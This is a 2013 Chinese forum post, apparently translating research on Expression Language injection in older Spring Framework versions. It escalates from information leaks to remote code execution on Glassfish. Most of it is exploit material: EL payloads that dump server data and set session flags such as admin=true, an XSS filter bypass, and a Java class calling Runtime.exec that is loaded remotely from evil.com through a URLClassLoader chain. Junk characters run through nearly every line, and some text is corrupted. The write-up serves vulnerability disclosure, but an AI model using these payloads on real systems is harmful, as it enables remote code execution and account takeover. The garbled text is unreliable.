找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2097|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with/ g9 Q% }1 J( D
Expression Language Injection
: w4 p, M4 N- M+ t, l% CSpring Framework脆弱性—DanAmodio
8 v  R: C+ b' t/ @; S3 Y7 O全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中+ p1 V/ e' Z. t
可能会存在风险。( Z. h! j* G" r( W3 ^
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
; Z! ~+ \: G/ Z9 V# w5 ~5 G7 rArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可+ p4 P$ e9 {; A. L
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,* q3 G1 t) i+ N
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前9 d. }5 ^( }( M" Y: R& E" M8 i
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。& J/ m) ^4 ?( ]1 Q
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
0 `- X+ F2 S0 G- E! n我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
" S5 A; F, Y1 F# o/ P本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。* d# P( x! X& O; ^$ u
这些版本不支持禁用double EL resolution.
, t+ o9 N1 W1 n9 N( O- ^7 ?这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
4 `* G9 U: Z+ n0 N8 n/ w  ?EL2.2容器上可能进行远程代码执行。
- }7 F, m, {. @: ~. f1 F这是一个原始信息泄露的攻击例子:, c9 ~& Q* H4 F0 A( D" P. D; X
请求:" Y. `, l4 [) I6 w
ttp://vulnerable.com/foo?message=${applicationScope}
9 L; |$ [$ a1 m4 O# P/ i! p) k1 N到达以下内容页面:
& ?0 q7 t5 N# ^! [6 E结果将输出一些包含内部服务器信息calsspath 和本地工作目录
/ i! O! {" b6 i  P你也可以做一些其他事情,如这样:
7 J8 H. r+ X- u1 }! W$ d: w${9999+1}: m7 K0 r! \; m* P8 O6 `
还可以访问session 对象和beans
% Q4 r$ c2 H) O1 O! h${employee.lastName}. ~, f$ Z" p0 N7 z* n
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
6 r, B7 X) G: e: ?, G' L% zEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东* `% ~$ u8 c$ X& U& p) F( ]. V
西,比如XSS.
1 t4 J# F: i2 G3 ]3 ?. j哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签  r4 N, _: B  v. H; M4 G' c
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
& f! j6 N7 V% H0 R呢?”
) U1 k0 q/ F) I; Z因此,我尝试巳缦拢�4 N. d/ D2 H5 k
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP8 d% P+ ]. ?! a0 s" ~- N) t
P
& W1 f8 z* u! K' ?$ H; ^我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返! U% B* ^  c; L9 u6 c; m7 d
回的文本被插入进了spring:message 标签。/ v" T. d5 B% f  Y" d" J0 U2 O
这里是一个最终绕过过滤的实例:, N+ `" ^# r/ T1 w) {8 C  N* a- Q5 D
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
' T6 }- c% M8 i; \, h) o7 G  e它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
. w, |1 s, D# L0 p' f什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?" I8 v4 G, |( g% I5 F
经过一番研究,我学习到EL2.2 增加了方法调用。
( s/ c: ?* M" ~! n我写了一个快速测试应用程序代码并且检测一些功能: u& E! _4 z* c; O# m
${pageContext.request.getSession().setAttribute(“account”,”123456″)}  e$ b7 w7 V: t! j/ U: j4 ^0 c
${pageContext.request.getSession().setAttribute(“admin”,true)}7 c. \9 O' D/ _1 k+ I; T" G$ H
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的% y5 b; V& P! l) \- w8 a8 _* b
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?2 B$ u2 X. l' g  M% l( M. r
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.15 }3 g2 ]- e" N
“, 1234)}
; U" T1 S6 c3 f/ d5 O% I2 G6 Q$ O${“”.getClass().forName(“java.lang.Runtime”)}
) r2 Q4 A! p; h' h5 G/ ^, o" B哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不4 O! m. f4 a( ~+ u3 K7 y4 [% r6 M& l
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函& u0 k7 i9 {7 L/ ]6 S3 ^, ~
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
* N: ?& t2 ^% o! Z/ j一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
  u- x9 _( m7 h$ f( h( p8 m方法签名invoke(Object obj, Object„ args)# y- x( @- T) F( @. F  ]/ h
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
# w! D8 ?# u% H  N; h3 n题,以让它可以工作起来。
1 B: B4 o# R( @: I0 @: ?1 O% G漏洞利用:" {% s1 O9 B  v& \  U9 j+ i- h, r
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我+ K0 Y" r1 ]7 |/ B- H4 q
希望你们中的一些JAVA奇才告诉我我是如此的可笑。+ b. [( Y7 r. w" ~
这里有一些我试过的失败的用例,为了试图让它工作的用例:; G6 X& }. x. W
 写文件到文件系统
! n3 N" J% X- ~4 `  V7 K 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
5 K+ y0 m8 Z0 X5 q: n) |我认为这些可以很好的工作,但是我不能找到合适的类来载入。
- ^. i3 k* l. b${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
) x# ]; E$ q. _  k: ]0 sjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:' c1 o. S5 q: N* v! y% W8 a
org.springframework.expression.spel.standard.SpelExpressionParser not found
& E/ d6 |9 v; c" m0 J5 Kby: m- Y- t2 ^9 l9 I$ ~8 U5 \
org.glassfish.web.javax.servlet.jsp [194].4 q6 L1 Y( r. x/ q6 j% W/ R  b- t
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public' e" u8 |6 j) ]+ I9 ^( {. o
 利用反射来创建一个新的Runtime(and watch the world burn); y: F9 V: [0 W* B2 X* F( ?
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
# L, _9 C3 E. ]; l+ {: `! E(“java.lang.Runtime”)).getDeclaredConstructors()[0])}. e) P0 m; d- s( j0 l& K6 f- J
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}( i0 H& {  d/ O" O# s
 使用java.lang.ProcessBuilder
+ g$ p8 ]2 c' m 用表达式语言来评估表达式语言
# K4 j- k" E- l. T# q1 o( hExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义./ x. y: W7 N& \9 G
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
6 M; f. `4 \3 M: t1 f) _- j“,”".getClass(),null)}/ |: y$ L& @" c  u, H/ v. k( {
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
; p+ q( o  [* C  Z我在使用一个空数组通过Method.invoke()时失败了很多次% e  @' h' n* W  y* Q
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. @/ A" S) c) O# y) Y9 F
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A6 W, h, k6 _& e% y1 k  e
rrayList”).newInstance().toArray())$ b, Q' R1 e7 S1 k- x( w
java.lang.IllegalArgumentException: wrong number of arguments
5 M  h: O8 k! i4 @- F最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可( T9 G' }3 |1 L  g2 ~2 D; y$ F
以创建一个恶意class文件并且指向类装载器.
& i5 U8 E% q2 A; k我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:: Y( u' A/ _/ X# R( J! [* N  W
public class Malicious {2 \* e  L. O" ?- u1 p# Q
public Malicious() {
, i$ S) ^- C/ [' G1 s% Ytry {
) A9 p5 F* s" g8 L$ H! h7 ^java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac  R$ e! g2 X' l
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win* w( E5 J: n8 T( Z  z5 i5 q* E
} catch (Exception e) {; o% L, `7 B) z, F
}" F* J# L4 U% _1 l9 q  M
}
" M  G6 x$ K5 h. D我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回2 G( n. ?+ d# N
话中,因此它可以被使用.
/ \: J, P- W! C9 z4 J${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName* B8 L" I) I0 N! [1 O, h
(“java.util.ArrayList”).newInstance())}  q( y( r3 p1 ^: ]
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
7 G  h6 j& L. l0 i一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
7 j0 t4 W3 R2 g# G. L- JgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
2 n' V( j2 y# G) Y. j我们可以调用的create(string)方法,然后转换对一个URL对象。
& y0 N6 n" w% k  f% U8 w${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
$ ~- W3 F* d# {  yere/malicious/classfile/is/located/”).toURL())}, n0 c/ a$ c& I
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,' |" }$ T* }, j' c# i
恶意类文件被装载并创建,触发远程代码.
. ?! V  f* ~1 k/ [2 P3 C+ o" @${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte+ }1 F2 d) q; \; e6 E+ e: _
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
& v! Q7 {3 X0 n1 M8 B$ OgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
6 I5 _6 d- b4 _) b# V( P# ~()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表